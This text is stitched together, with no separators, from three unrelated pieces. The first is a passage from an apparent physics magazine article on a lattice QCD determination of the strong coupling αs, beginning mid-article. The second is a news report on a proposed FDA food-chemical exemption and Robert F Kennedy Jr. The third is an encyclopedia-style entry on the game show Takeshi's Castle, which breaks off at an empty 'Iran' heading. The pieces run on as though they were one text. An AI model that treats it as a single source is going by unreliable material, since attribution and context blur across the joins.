Building on Bjorken’s suggestive idea, Martin Lüscher, Peter Weisz and Ulli Wolff proposed in 1991 a systematic way to compute the momentum-dependence of αs in an asymptotically free theory, and implemented it in a model with one space dimension. The obstacle they faced is that a direct determination of αs would need a lattice large enough to hold hadrons, yet sufficiently fine to resolve energies above roughly 70 GeV, where low-order perturbation theory is accurate. No computer could span both scales at once. Their “step-scaling” method avoided the problem by using a family of femto-universes, each simulated separately and covering a narrow range of energies inversely proportional to its size (see “One box at a time” figure). Stepping down through the family, each member half the size of the last, the coupling can be followed upward in energies, until perturbation theory takes over. The extension to non-Abelian gauge theories, the class to which QCD belongs, followed the next year. The development of these techniques was among the reasons why Lüscher, who joined the CERN Theory Division in 1999, earned a share of the 2025 EPS High Energy and Particle Physics Prize, together with Jürg Gasser and Heinrich Leutwyler, for their theoretical work on the non-perturbative aspects of the strong interaction.

Heavy by design

In a Nature paper, published last April, seven theorists from the ALPHA collaboration computed αs at the reference momentum MZ using step scaling. The result, αs = 0.11876 ± 0.00058, carries a precision of 4.9 parts per mille and is consistent with the PDG average (see “Running down” figure). The calculation takes only low-energy quantities as input, namely the pion and kaon masses, together with a benchmark length of about 0.14 fm, itself determined by several independent lattice collaborations from well-measured quantities such as baryon masses and meson decay rates. The simulations contain only the three lightest quarks (up, down and strange), and the effect of the heavier charm and bottom quarks, negligible at low energies, is restored at the end using high-order perturbative QCD results and the measured values of their masses.

Running down The strong coupling αs (red band) as a function of the momentum scale Q, extracted from the new lattice analysis. The points are individual phenomenological determinations compiled by the PDG. Credit: adapted from M Dalla Brida et al. 2026 Nature 652 328 (CC BY 4.0)

The same team’s 2017 determination, the first below one percent and until now the dominant input to the world average, rested on a single step-scaling analysis. The new work repeats it with finer lattices and adds a second approach, in which the masses of the three simulated quarks are increased to as high as 10 GeV. QCD then reduces, up to corrections falling as the inverse square of the masses, to a far simpler quarkless theory, in which the evolution of the coupling with energy can be determined independently. The two routes agree, and their average, resting on some 400 million core hours of simulation, gives the headline number.

The view from below

To many particle physicists, the idea that αs at MZ can be predicted by the SM with input solely from the low-energy world of hadrons is still unfamiliar. Nearly every phenomenological determination in the PDG runs the opposite way, fitting perturbative QCD predictions to high-energy collider observables. The comparison between the new result and these is therefore best read as a test of the SM: a heavy new particle at or above the Z mass would shift the collider determinations while leaving the low-energy ones practically unchanged. So far, the SM has passed the test with flying colours.

Further reading

M Lüscher, P Weisz and U Wolff 1991 Nucl. Phys. B 359 221.
M Dalla Brida et al. 2026 Nature 652 328.
D d’Enterria et al. 2024 J. Phys. G 51 090501.

Regulator looks to expand loophole to allow dangerous compounds in food as long as they’re not carcinogenic

The US health secretary, Robert F Kennedy Jr, speaks at a health and human services event this week in Washington DC. Photograph: Finn Gomez/Getty Images

The US Food and Drug Administration (FDA) is proposing to expand a controversial loophole to allow some of the world’s most toxic chemicals to be added directly to food without a safety review.

The “threshold of regulation” (TOR) exemption currently allows dangerous compounds to be used without review in food contact materials, such as packaging or processing equipment, if they are not carcinogenic, and are added at levels below 0.5 parts per billion (ppb).

But campaigners say many chemicals, especially hormone disruptors linked to brain damage and reproductive harm in children, are considered dangerous at levels far below 0.5ppb. Even in its limited form, the loophole has already raised alarm. One TOR exemption that allows the rocket fuel chemical perchlorate to be used in grain bags dramatically increased the amount of the compound found in kids’ cereal, which advocates say could cause brain damage.

The new proposed TOR expansion would allow companies to use the chemicals as an ingredient added directly to food, as flavorings, preservatives, emulsifiers, processing aids, enzymes, stabilizers and binders, and for myriad other uses, in ultra-processing.

The revelation comes after Robert F Kennedy Jr and the FDA claimed victory and declared “promises kept” in August for “closing” a different controversial regulatory loophole called “generally regarded as safe” (Gras), which over the decades was used to send ingredients to the market that campaigners said could sicken, injure or kill people.

But Kennedy and the FDA did not mention in their public relations material that the proposed Gras rule submitted quietly to the Federal Register includes the TOR expansion, which public health advocates warn will also send alarming levels of toxic chemicals to grocery store shelves. Some advocates have accused Kennedy of deception.

Regardless, the proposal represents a major win for big food, advocates say, and is based on flawed science.

“The FDA and industry have this position that if there’s only a little bit of something in the diet, then it’s not going to be problematic, but that isn’t supported by science of any kind,” said Maricel Maffini, an independent food consultant who worked on TOR issues.

“I don’t know how they’re going to square that circle because there are many ingredients that at very low levels also cause serious issues in the body,” Maffini added.

The FDA did not respond to a request for comment.

The proposed rule states that “any substance used in food (both directly or indirectly added) will be exempted from regulation as a food additive” if there is “no appreciable risk to human health”.

Advocates say the problem lies in the definition of “appreciable risk”. Chemicals like perchlorate, some phthalates, some bisphenols, some Pfas “forever chemicals” and some flame retardants are not classified as carcinogenic, but they can cause harm at doses far lower than 0.5ppb. These could in theory be used as TOR ingredients, as could chemicals that are neurotoxic, cause brain damage, attack the immune system, harm the microbiota or give rise to any number of other adverse health impacts.

Maffini said she was particularly concerned about flavorings because ultra-processed food companies use chemicals that “play around with the nervous system and receptors in your mouth to try to make us eat more and more of something”.

Advocates say the rule also does not take into account cumulative effects – one small dose of a TOR-exempted chemical may not be harmful, but many small doses of multiple toxic chemicals could be a problem. It also creates a secondary loophole in allowing carcinogens if the substance is created as an impurity.

Meanwhile, there is no way for consumers to know if a product contains a TOR-exempted chemical.

“They’re widening another loophole, but trying to say they made our food safer,” said Maria Doa, a scientist with the Environmental Defense Fund (EDF) non-profit. “They did not make our food safer.”

How TOR led to children eating rocket fuel chemicals

The problems with perchlorate in kids’ cereal are a warning about TOR’s risks, advocates say. In 2005, German chemical giant BASF used TOR to exempt perchlorate from regulations for use in “super sacks”, which are one-ton polypropylene plastic storage bags used on farms to move grains, including rice, flour and oats.

Perchlorate stops grains from sticking to super sacks. But the grains are loaded into and emptied from the sacks at high velocity, which can cause perchlorate and microplastics to break off. The FDA’s own data published in 2017 showed the number of samples of kids’ cereal with perchlorate increased after the 2005 TOR exemption. The agency similarly detailed a broad increase in the levels in each sample.

Perchlorate reduces the thyroid gland’s ability to absorb iodine, which is a raw material needed to produce the hormone T4, an essential component of proper brain development. Very low levels of perchlorate exposure are linked to lower T4 production, and lower IQ scores for children.

Still, six months after it published its data, the FDA reapproved perchlorate for use in super sacks. Advocates say the agency used flawed science and manipulated the data. The FDA wrote that there was no meaningful increase in perchlorate across all the 250 foods it measured. But critics countered that the problem was not in all the food – the problem was in kids’ cereal.

The FDA largely ignored the cereal findings, and mostly does not consider endocrine system harms when developing regulations, said Tom Neltner, a former scientist with the EDF who is now director of the Unleaded Kids non-profit. He helped lead litigation over perchlorate, which was ultimately dismissed.

“They put their blinders on and approved the exemption based on data that never considered the harms posed by endocrine disruptors,” Neltner said.

Kennedy deceived on Gras?

Kennedy leads the Make America Healthy Again (Maha) movement, of which eliminating toxic chemicals from food is a cornerstone. During the run-up to the 2024 US presidential election, he held up the Gras standard as an example of the broken regulatory system that he would take bold steps to fix as he stands up to big food and makes America healthy again. The loophole drew outrage because campaigners say it virtually eliminates regulatory oversight for new ingredients, chemicals and products, allowing food companies to self-certify that substances are safe without alerting the FDA.

The Gras standard does require companies to demonstrate a new food product is safe by making “widely accepted” scientific evidence to support its claim publicly available. But some companies bury the “public” announcement deep in their websites, push the boundaries of “widely accepted” research or hire from a cottage industry of scientists who are paid to declare food products “safe”, advocates say.

A 2026 review of FDA and other federal food records by Maffini and the Environmental Working Group non-profit found at least 111 food chemicals or substances exploited the Gras standard, and they are used across thousands of products. Upon his appointment to oversee Trump’s health agency, the FDA and Kennedy reiterated his promise to “close the loophole”, and in 2026 he appeared to make good on it. He and the FDA stated that they were “closing critical information gaps”.

Critics warned the “closure” was at best a modest loophole tightening that effectively only requires voluntary compliance, and the quiet opening of the TOR exemption counteracted any gains.

Either the White House or the office of management and budget were involved in the Gras rule negotiations, though it is unclear who added the TOR expansion. Regardless, the controversial exemption is consistent with the administration’s philosophy more broadly, Maffini said.

“This administration is not keen on regulating anything,” she said.

Takeshi's Castle

Title card

Takeshi's Castle (Japanese: 風雲!たけし城, Hepburn: Fūun! Takeshi-jō) is a Japanese game show that aired between 1986 and 1990 on the Tokyo Broadcasting System (TBS). It features the Japanese comedian Takeshi Kitano (also known as Beat Takeshi) as a count who sets up difficult physical challenges that players (or a volunteer army) must overcome in order to reach him in his castle.

The show became a cult television hit around the world.[2] It was highly influential in global popular culture, inspiring a genre of game shows involving physical challenges and painful entertainment, as well as other media. On 2 April 2005, a special live "revival" was broadcast for TBS's 50th anniversary celebrations. A reboot of the show was released on Amazon Prime Video on 21 April 2023.[3] German-Japanese actor Subaru Kimura joined the returning Tani as co-leader of the contestants.[4]

Original Takeshi's Castle

The original show involved between 86 and 142 contestants whom General Tani (Hayato Tani) "forced" into a series of elimination-style physical challenges, which were similar to those found in It's a Knockout. At the end of each episode, the contestants who survived all challenges faced off directly against Takeshi and his army in one final assault on his castle, with the goal of claiming it for Tani.

The series featured extensive landscaping of a fixed campus at TBS-owned Midoriyama (Green Mountain) Studios in Yokohama, Kanagawa. The setting included large man-made lakes and elaborate permanent obstacles. The final regular episode aired on 14 April 1989, followed by 4 one-off specials until 19 October 1990. A special revival took place just outside the TBS Building for the network's Spring All-Star Thanksgiving Festival on 2 April 2005, featuring Lake of the Dragon God and Gibraltar Strait. In 2004, the website "Takeshi Mania" published an injury list of show participants. The publisher later admitted fabricating the list in an effort to "make a little fun".[5] While minor injuries were reported, few to no major injuries occurred on the show.[6]

Challenges

A wide range of challenges were used throughout the history of Takeshi's Castle. Depending on their popularity and ease of preparation, some challenges occurred only once or twice, while others took place in virtually every episode. Many challenges involved falling into water or mud upon failure.

• Border Wall – A tall two-faced soapy slope that contestants need to climb. Several ropes are attached the top, which participants can use to climb. Once a contestant makes it over the wall, they slide down the other side into a small trench of water.
• Wall to Freedom Becomes Far – Contestants face ten gates with eight doors. One or two doors are made of paper, while the remaining doors are blocked by wooden plates or consist of paper with a net behind it. Once contestants make it through the tenth wall, they must sift through a large vat of flour to find a colored tennis ball to win the challenge.
• You Can't Continue on an Empty Stomach – Several buns encased in plastic bags are hanging from a rope. To win, contestants must grab onto a bun with their mouth, whilst their arms are affixed to their sides by either an inflatable rubber ring or a large potato sack.
• Boundary Roulette – Contestants must select a disk with various possible descriptions, such as numbers ranging from 0 to 36, "Black," "Red," "Odd," or "Even." Once selected, they sit down at the corresponding spot of a roulette table. A giant roulette wheel is spun, and the outcome of the spin determines who will be eliminated.
• First Fortress – Contestants must climb an extremely narrow and steep staircase holding water pistols, all while ensuring that a paper ring attached to their helmets remains intact from the Takeshi Gundan, who also have water pistols and targets of their own.
• Devil's Domain – A maze composed of either four-sided or six-sided rooms is laid out in a 4x3 rectangle (5x4 when playing with three guards). Contestants navigate the maze while avoiding the guards to reach the goal. Some doors lead to a pool of water that contestants might fall into, constituting a loss.
• Dragon God's Pond – Contestants must cross a lake via approximately twenty-five stones. Some of these stones are affixed to the floor of the lake by only a chain, which sinks when stepped on. In early versions, a variation of Wall to Freedom was placed on the other side of the lake. Contestants must choose one of four doors, two of which are made of paper, while the other two are solid. Breaking through a paper door results in a win.
• Heaven and Hell – Contestants must use a rope to swing across a muddy pit with the goal of landing on a platform. A later version, renamed New Heaven and Hell, required contestants to gain momentum by running down a pathway and then swinging in a semi-circle to land on a platform.
• Beach Boys and Gals – Contestants must ride a surfboard and traverse several obstacles. Originally, contestants jumped over several Styrofoam obstacles (designed to look like an axolotl) and ducked under obstacles (designed to look like a shark's mouth). This challenge was later scrapped and reintroduced as Spinning Beach Boys and Gals, which was played several feet above water with a surfboard attached to a rotating arm. The goal was to stay on the surfboard and reach the finish platform, which was made to look like a tropical island.
• Bridge Over The Battlefield – Contestants must push themselves onto a board, then move along a rolling track to reach an arrow at the end. If they push too hard, they will fall off the track into the water. If their push is too soft, they may undershoot the arrow, and a guard will shove them off the track.
• Revolving Comaneci – The contestant must cross two planks rotating counterclockwise, with one side of the field covered by mattresses that will push the contestant off. As a result, contestants need to reach the center of the plank before continuing.
• Boinging Pompokolin – Contestants are attached to a harness above a mud pit and are pulled along a wire in the air. They must then lower themselves to obtain a ball, which can be thrown into a pot at the end of the mud pit.
• Corinth Pon – Contestants are placed into a transparent ball and pushed down a giant pachinko machine. Their goal is to reach the bottom of the board while avoiding the skull boxes scattered along the board, which would constitute a loss.
• Horse Race Challenge – Contestants wear horse costumes with their feet covered by rollerblades. On the General's signal, contestants must race to the finish line while overcoming three progressively higher hurdles.
• Hello Mr. Turtle – Contestants must cross ten turtle-shaped platforms to reach the finish. After a while, a guard will begin chasing them in an attempt to push contestants off their platforms.
• Sumo Pon – Five sumo wrestlers are shown to the contestants, who will then draw a ball from a box. The ball's color determines who they must defeat in sumo wrestling to win.
• It's an Earthquake Grandpa! – While wearing grey wigs and clothing traditionally worn by Japanese elders, contestants must kneel on a pile of foam blocks and maintain their positions while a small earthquake is simulated in the room.
• Runaway Train of Death – Contestants sit on a mat and are pushed down a sloped track into water. Their aim is to jump onto a lily pad at the sides: a large wobbly one on the left and a smaller but more stable one on the right.
• Thud Calligraphy – Contestants must fire a crossbow onto a small wheel, which determines the Japanese character they need to draw. Using an oversized brush, they have 30 seconds to draw their character on the designated area of a wet slope.
• Adventure Zone – Contestants must overcome an obstacle course akin to a video game while a robot on top of the background structure moves along. Contestants are victorious if they reach the end of the course unless the aforementioned robot finishes first. Should this happen, the contestant is disqualified, and a guard usually throws them into water.
• The Longest Yard – Contestants must carry a football across a playing field while defenders wearing large foam football costumes try to prevent them from doing so. If a contestant is pinned to the ground by a defenders, they lose the round.
• Daruma-San has Fallen Down – Based on a well-known Japanese children's game, contestants must climb a hill while wearing oversized daruma costumes. A guard waits at the top of the hill. His back is turned to the contestants while he chants "だるまさんがころんだ"!After finishing his chant, he turns around. Contestants are disqualified if the guard spots them moving or if they fall down the hill. Reaching the top of the hill signifies victory.
• Flat Chest – While wearing a white bodysuit with velcro on the front, contestants must swing over a lake to stick onto a Velcro wall on the other side.
• Condor Takes Flight – Wearing an oversized hawk costume, contestants are led down a zipline above the ground. Their goal is to catch a plush rabbit midway through with their feet, then throw it onto the nest at the end of the track.
• Roller Game – Contestants must cross a large pond by running over seven rolling pins placed at uneven heights. These pins rotate on an axis, making it difficult for contestants to keep them stationary.
• You Can't Save the Ball – Contestants knock a ball into a giant pachinko machine. They must then grab a bowl, run down a staircase, and wait on a narrow ledge for the ball to reach them, while General Tani gives them directions on where the ball is at the moment. As the ball arrives, they jump into a mud pit to catch it in their bowl.
• Study the Cards Game – While wearing oversized hand costumes, five contestants compete against five of Takeshi's Gundan. At the start of each round, Michiru Jo recites a mathematical problem or a question with a numerical answer. Contestants must determine the correct answer and then fall onto it.
• You Too are Masaru Uno-Kid – While wearing oversized baseball player costumes, contestants must catch a baseball that is being batted in the air. This game is played multiple times with the same group.
• Aquatic Volleyball – Contestants must score three points in a game of volleyball against their opponents. The game takes place on a mat floating on water. They may be faced with three possible opponents: Takeshi's guards, a female volleyball team, or women in swimwear.
• Straits of Gibraltar – General Tani fires a black ball at the contestants, who are standing on a wobbly bridge. Once they catch the ball, the contestants must traverse across the bridge while Takeshi's Gundan fire cannonballs at them. If they successfully catch a golden ball and reach the other side, they receive 1,000 yen.
• You! Sound That Bell! – Contestants are sitting on a mat, then are pushed down a track into the water, with a slanted platform in the center. Once the platform is reached, the contestant must climb the slope in order to ring a bell at the top.
• Gah! I Don't Know! – Contestants sit on a circular disc on a rolling track. They are pushed down the track and shown several signs forming a mathematical problem. When they reach the end of the track, they must state the solution aloud. Answering incorrectly or failing to give an answer causes the end of the track to collapse, dropping the contestant into a tub of flour or, in later versions, mud.
• Star Bowling – Contestants must pick one of ten playing cards (numbered 1 through 10) to determine their position. Contestants are then placed into oversized bowling pin costumes with their ankles taped together. They must remain standing while a large foam bowling ball is rolled at them. If a contestant falls over, they lose.
• Hell Pull – Contestants choose one of five colored ropes, the ends of which are obstructed by a large wall. Contestants will then enter a game with whoever or whatever is holding the opposite end of their rope.
• Ball Run – Contestants must climb a steep slope while Takeshi's guards roll down differently-sized boulders. They can use several gaps in the walls to avoid them, but using a gap causes it to close.
• Stab and Be Stabbed – In a challenge modeled after the popular children's game Pop-up Pirate, contestants sit on a giant barrel and select one of six slots. Michiru Jo slides a sword into the selected slot. Choosing one of the two trapped slots will cause the barrel's top to tip over, which forces the contestant to slide down a slope into a pond. The goal is to pick three slots correctly (four in its first-ever playing).
• Pie Hit Ending – First contestants must throw a die, determined how far away they will be from a series of six holes, which they need to stick their head out of. Once they are settled in, a professional will throw a pie at them, with the contestant winning if the pie misses.
• Ladder Lottery of Difficult Times – Contestants must choose one of five doors, then follow the path until they reach a junction akin to a ghost leg. Once they reach the end of the path, they must climb a set of stairs and descend down a slide. If they choose the correct slide, they will slide into safety. An incorrect choice drops them into mud.
• Combinations of Love – Played in pairs, contestants must choose between even or odd. While wearing oversized dice costumes, they are rolled down a slope one at a time, and the sum of the two dice rolls must correspond with whichever option the couple chose at the beginning.
• You Jumped, Congratulations! – Contestants must pole vault over a pond from a high platform to land onto a small platform.
• Dash Over the Mud, Youth – Simulating a baseball game, the pitcher throws a ball that the batter purposely misses. Once the catcher catches the ball, contestants must run from first to second base while traversing a large strand of mud to avoid being tagged out.
• Rush Out, Youth! – Contestants wait behind saloon doors in front of a mud pit. On the General's whistle, Michiru Jo shoots a soccer ball in the air, and the contestants must run into the mud pit to catch the ball.
• Man Eating Holes – The penultimate challenge for most of the series run. The contestants must jump into one of five large holes in the ground, two of which are being guarded by either Makoto Dainenji or Katsuo Tokashiki, and the last three leading to Takeshi's castle. Usually, Dainenji and Tokashiki are dressed in costumes and perform a skit prior to the game's start.

Final Battle

In early episodes, the contestants stormed the castle in a short-range water gun assault. Later episodes introduced carts with paper rings and eventually lasers and light-sensitive targets. If the contestant's gun penetrated the paper ring or hit the sensor on Takeshi's cart (which was defended by weapons such as a large water gun and a laser-armed plane), Takeshi's cart would deactivate, and the castle was "taken," and the game won. During the water-gun version, if Takeshi was defeated, all surviving players split the prize between them. In the laser-gun version, the player who stopped Takeshi won 1 million yen (which, at the time, was roughly equivalent to US$8,000 or £5,000 sterling).

In the Amazon Prime reboot, the finale game "Yabusame" had the remaining contestants playing against BANANAMAN, Lord Ueda, Lord Neomi, Lord Watanabe, and kickboxer Tenshin Nasukawa, who played on Count Takeshi's behalf. The contestant rides across a track in a pod firing tennis balls into the funnel of their opponent's pod. The defender of the castle shoots back at the paper target on the contestant's pod with larger balls. If the castle defender breaks the contestant's paper target, the contestant is out. If a player lands a ball in the funnel of the defender, the contestant wins a million yen. If nobody is defeated, it is considered a draw with no victories.

Music

Takeshi's Castle challenges used a wide variety of well-known songs from movies, television shows, video games, anime, and other sources.

Characters

Kitano at the Cannes Film Festival in 2000

• Count "Beat" Takeshi (ビートたけし; Kitano, born 18 January 1947) – The lord of his castle and eventual target of the competition. He also made commentary on the events.
• Takeshi Doll – During a prolonged period when Takeshi was forbidden to appear on television (his punishment for an act of violence against reporters and photographers from a scandal magazine), one of the Takeshi Gundan filled in by wearing his robe and a giant paper-mâché Takeshi head, similar to ones worn by sports team mascots.
• Saburo Ishikura (石倉三郎, born 16 December 1946) – Chief Retainer of Takeshi's Castle. He provided commentary alongside Takeshi.
• Sonomanma Higashi (real name Hideo Higashikokubaru, born 16 September 1957) – Originally leader of the Takeshi Gundan. He replaced Ishikura as the advisor of the Takeshi's castle in the middle of the series run.
• Takeshi's Gundan (Defense Troops) (たけし軍団) – The Count's guards, seen in the Kart Battle and other challenges, who wore white or green. When Higashi became Takeshi's new advisor, Omori Utaemon took over as the leader. Other members included Matsuo Bannai, Tsumami Edamame, Yurei Yanagi, Rakkyo Ide, Great Gidayu, Dankan, Third Nagasima, Rusher Itamae, Taka Guadalcanal, Hakase Suidobashi, Sintarou Mizushima and "Loyal" Tadajij Kikuchi.
• General Tani (Hayato Tani) (谷隼人, born 9 September 1946) Led the contestants through the challenges set by Count Takeshi. His real-life wife, Kikko Matsuoka (born 11 February 1947), appeared in an episode resulting in a comedic conflict between the couple.
• Tani's Assistant – On international specials (involving non-Japanese players), General Tani was assisted by Eliska Nochelli who served as his translator. Chuck Wilson also acted as his assistant in two international specials.
• Junji Inagawa (also known as Jyunji Inagawa) (稲川淳二, born 9 September 1946), Akira Sakamoto (born 31 July 1949), and Shingo Yanagisawa (柳沢慎吾, born 6 March 1962) – Three of the Battlefield Reporters however there were many more. They usually wore safari outfits.
• Kibaji Tankobo (丹古母鬼馬二, born 4 January 1950) and Shozo "Strong" Kobayashi (ストロング金剛, 25 December 1940 – 31 December 2021) – Two physically imposing guards most famous for featuring in the "Devil's Domain" challenge. Kibaji usually wore a long red wig, while Strong was bald, and they painted their faces to further intimidate contestants. In addition to frightening and chasing the contestants in the "Devil's Domain", Tankobo and Kobayashi also smeared black, sticky paint all over the contestants that they caught in the maze. Tankobo and Kobayashi were considered to be two of Takeshi's finest henchmen.
• Brad Lesley, a.k.a. "Animal" (亜仁丸レスリー, 11 September 1958 – 27 April 2013) – American baseball player. His main job was to humiliate and frighten the contestants in any possible way, usually dressed as a samurai, complete with a sword. Animal has also been seen in a green sumo suit, spider costume, Fred Flintstone–style outfit, a baseball uniform and a Las Vegas–era Elvis Presley jumpsuit costume.
• Michiru Jo (城みちる, born 18 November 1957) – One of the few guards to have been involved from the very first episode and until the show finished, he normally wore a distinctive pink outfit. Jo was a Japanese pop singer in the 1970s.
• Yoroi/Ritter Chuu – He was a sixteen-foot tall samurai who tried to keep players from reaching the goals in several games.
• Makoto Dainenji (大念寺誠) and Katsuo Tokashiki (渡嘉敷勝男, born 27 July 1960) – Makoto, a karate master, and Katsuo, a boxing champion in Japan, were the "Man Eating Holes" guards, usually wearing outrageous costumes. Katsuo also served as the referee in the "Sumo Pong" game.
• Masanori Okada (岡田正典, born 19 October 1953) – Usually seen in the game "Bridge on the Battlefield", he would jump out of the water to push the contestants into the drink if they failed to reach the target. Okada also played in the "Devil's Domain" and other games as well. Also known as the "Sea Goblin" in Japan and was a boxer in the 1970s.
• Umanosuke Ueda, (上田馬之助, 20 June 1940 – 21 December 2011) – This aggressive guard, a former wrestler in real life, appeared in "Devil's Domain", "Sumo Pong", "The Longest Yard" and "Gibraltar Strait".
• Youshichi Shimada (島田洋七, born 10 February 1950) – A guard who was usually seen in the games "Drama-San is falling Down" in overalls akin to those worn by Dennis the Menace, and in "Rotating Beach Boys & Gals" dressed as a female Native American nicknamed "Pocahontas" who would push contestants into the water if they missed the surfboard.
• Shoji Kinoshita and Shoichi Kinoshita – Better known as "Popcorn" (ポップコーン, born 1 January 1959), these identical twin actors, well-known in Japan, were commonly seen wearing rainbow ponchos and bowler hats. They also wore baseball uniforms and other humorous costumes, appearing in the game "Donbura Koko" where they would try and put the contestants off by singing a very annoying chant "Donbura, Donbura, Donbura" as well as "Gibraltar Strait" and other games.
• Shinoburyo (忍竜, born 19 July 1951) – Sumo wrestler in Japan who appeared in the game "Sumo Pong".
• Large Fuji (26 August 1958 – 14 October 2012) – Replaced Shinoburyo in the later episodes as the purple sumo fighter in "Sumo Pong".
• Konishiki Doll – Only seen in "Sumo Pong" and once in "Pulling Hell". The Konishiki Doll was one of the Defense Troops dressed in a large costume which is meant to resemble Konishiki Yasokichi, one of the largest sumo wrestlers to ever live.
• Noboru "Shin" Suganuma (すがぬま伸, born 5 July 1952) – Loyal member of Takeshi's Gundan, who wore red and who was a pathetic sumo wrestler in "Sumo Pong".
• Ritsuko Nakayama (中山 律子, born 12 October 1942) – Also known as Refreshing Ritsuko-Ritsuko, she is a professional bowler in Japan who appeared in the "Star Bowling" game.
• Yutaka Enatsu – A real-life Japanese baseball player, he made a guest appearance as the pie thrower in "Pie End-Hit" in a single episode.
• "Ordinary" Oki Bondo (大木凡人, born 1 July 1949) – The emcee of the karaoke bar in the "Street Corner TV" game.
• Koji Sekiyama (関山耕司, 22 May 1924 – 27 April 2013) – Karaoke bar owner who decided whether contestants' singing was good enough to progress through to the next round. Later replaced by Nobuo Yana.
• Nobuo Yana (born 13 August 1935) – Replaced Koji Sekiyama as the karaoke bar owner later in the series and decided whether a contestant had sung well enough to progress through to the next round.
• Takayuki Yokomizo (born 2 August 1963) – Bouncer in the karaoke bar who violently withdrew contestants from the building if Sekiyama (later Yana) decided that their singing was not good enough.
• Geisha Girls or Bunny Girls – Led by Miyuki Ono, they helped contestants in several games and also helped Takeshi and his advisor in comedy skits. Other known girls included Harumi Tomikawa, Mika, Mina Morishima, Sawada, and Mitsumi Yokota. Sometimes, when Junji and Shingo were off the show for other commitments, one of them served in the Battlefield Reporter's role.
• Shizuo Miyauchi (宮内鎮雄, 24 January 1945 – 14 January 2022) – Commentator for the original series in Japan. Retired from TBS in 2005 after working as a commentator for several decades.
• Ultraman – Appeared in the show on several occasions. The first was to help the young contestants through a number of the challenges in the "Kids Only" special. The second was as a replacement for General Tani (for unknown reasons). The third occasion was in the "Monster Special", along with other members of the "Ultra Brothers". (Due to a licensing dispute, the "Monster Special" episode of the American version MXC was heavily edited upon its release on DVD, with all Ultraman characters removed.)

Character counterparts

International versions

Arab countries

In Arab countries the show was called Al Hisn (Arabic: الحصن, lit. 'The Fort'). It originally aired in the mid to late 1980s where it became a cult hit.[7][8] The show was syndicated to multiple TV stations across different countries, which was a common practice at the time for localized foreign programs. Various public stations re-run the show on non-specific occasions. Other than the voice-over commentary and the opening/closing themes, the episodes were largely retained as originally aired in Japan. The commentary was provided by Lebanese television personality Riad Sharara, then later by Jamal Rayyan.[7][8] The Arabic version was produced and distributed by Amman-based company Middle East Art Production and Distribution (الشرق الأوسط للإنتاج والتوزيع الفني).

In 2017 the Saudi Arabian Sports Authority signed a contract with TBS to build a Saudi-inspired Takeshi's castle in Riyadh, the first episode of which aired on 25 September 2019 on MBC 1.[9][10][7]

Australia

An edit of the show was produced by The Comedy Channel. It had hosts in the local studio and was redubbed. This has since been cancelled and/or finished. The show was hosted by two housemates from series two of Australian Big Brother Shannon Cleary and Nathan Morris. It also featured a crossdressing Geisha girl named Beryl. Some episodes featured a special guest third host, including Greg Fleet. Highlights appeared in Australia on the television program World's Weirdest TV. The American version MXC currently airs on Fox8 (an Australian cable network). The Australian writer and critic Clive James was once a celebrity contestant on the original show.

Brazil

Starting on 19 November 1989,[11] a version was aired by Rede Globo, called Olimpíadas do Faustão (Portuguese for "Faustão's Olympics"), as an insert in Fausto Silva's Sunday-afternoon variety show Domingão do Faustão. In 1994, rival SBT copied that version, and a legal action by Globo and SBT stopped the broadcasting.[12] On 1 June 2008, SBT Keshi remake reappeared on TV, now licensed, remaking Faustão's known games (as Bridge Ball and The Run Way), not-seen in Globo games (as Skittles and Ride the Wave), and original games (cross a balance beam after spin, or cross a small bridge using a crank-kart). The games are a segment named "Gincana"[13] in the Programa Silvio Santos.

Czech Republic

It was shown by the name Takešiho hrad (Czech), with comedic voice-over by two Czech comedians. The commentary was mostly fictional. The show was popular among young viewers. The Czech TV channel also broadcast the show to Slovak Republic where it gained some popularity as well. In 2011 was Takešiho hrad broadcast on channel Prima Cool with a new single-voice commentary.

Denmark

The Danish TV station TV 2 Zulu bought the rights to air the Challenge version in Denmark, thus making the Danish broadcast identical to that in Britain.

Finland

On 7 January 2008, the television channel Jim started airing the UK version of the program. The comments are subtitled in Finnish. The show is titled Hullut japanilaiset (The Crazy Japanese)

France

A shortened version given a comedic voiceover by comedians Vincent Desagnat and Benjamin Morgaine has been shown on the W9 TV channel since October 2006, in a program called Menu W9 (which also presented a shortened version of Sushi TV on its first season, now replaced by Sasuke). It has been also broadcast on the channel M6 which shown 2 episodes per day at 6.50 p.m from Tuesday to Friday. The voices were those of the late sport presenter Thierry Roland and Moon Dailly.

Germany

A dubbed version of the show aired on DSF in 1999. This version was released on a DVD box set with 12 selected episodes. Two more volumes were planned but were presumably canceled. A German dubbed version of the 2002 UK edit airs from 3 July 2007, on RTL II. There also exists an adaptation called Entern oder Kentern (engl.: Board or Capsize) with almost the same games but pirates as antagonists and celebrities as Team Captains. This version was aired on RTL in summer 2007. Shorter versions of episodes with comical commentary air on Comedy Central.

Greece

A version aired from 2005 to 2009 on Skai TV by the name Το κάστρο του Τακέσι (Takeshi's Castle). It has been dubbed by Kostas Papageorgiou and Akindynos Gkikas.

Hungary

In early 2022, the Hungarian version of Comedy Central started to broadcast the Indonesian show, redubbed with stand-up comedians Péter Elek and Péter Janklovics who tend to know nothing about the aim of the game, thus strengthen the funny circumstances of the show just like in the Czech version. However, after the premiere, repeats are aired in CET nighttime only.[14]

India

A shortened version of the show aired on Pogo on 1 March 2005, with Hindi commentary by Jaaved Jaaferi.[15] Jaaferi's commentary was praised for its humour, and this increased the show's popularity. It additionally featured guest commentators such as Raju Srivastav, Sunil Pal, Navin Prabhakar, and Ahsaan Qureshi.[16] The show aired on Pogo until January 2019.

Amazon Prime Video's 2023 reboot of Takeshi's Castle was released on 2 November 2023, featuring the voice of Bhuvan Bam as his character "Titu Mama" from BB Ki Vines, taking over as the new commentator, replacing Jaaved Jaaferi. Bhuvan spent four months dubbing and writing the script for the show, with some promotional videos filmed in September.

Indonesia

The original Japanese show was being re-broadcast (with Indonesian dubs) on RCTI from December 1989 to December 1992, TPI from 2002 to 2007 (with most reruns) and GTV in 2013 and 2014. In 2017, MNCTV acquired the license to remake the show which was later known as Takeshi's Castle Indonesia (a.k.a. Benteng Takeshi Indonesia) with a grand prize of IDR 100.000.000,-. After two successful seasons, the show was originally planned to enter its third season in 2018; however, due to a drug case involving Reza Bukan (the cast of King Takeshi at that time) the launch of the third season was delayed until mid-2019.

The main cast of Takeshi's Castle Indonesia includes Fero Walandouw (as the Captain), Nabila Putri, Poppy Sovia, and Desy JKT48 (as Vice-Captains in Season 1, 2, and 3 respectively), Lee Jong Hoon (as the Reporter), and Reza Bukan and Kenta (as King Takeshi in season 1–2 and 3 respectively).

Iran

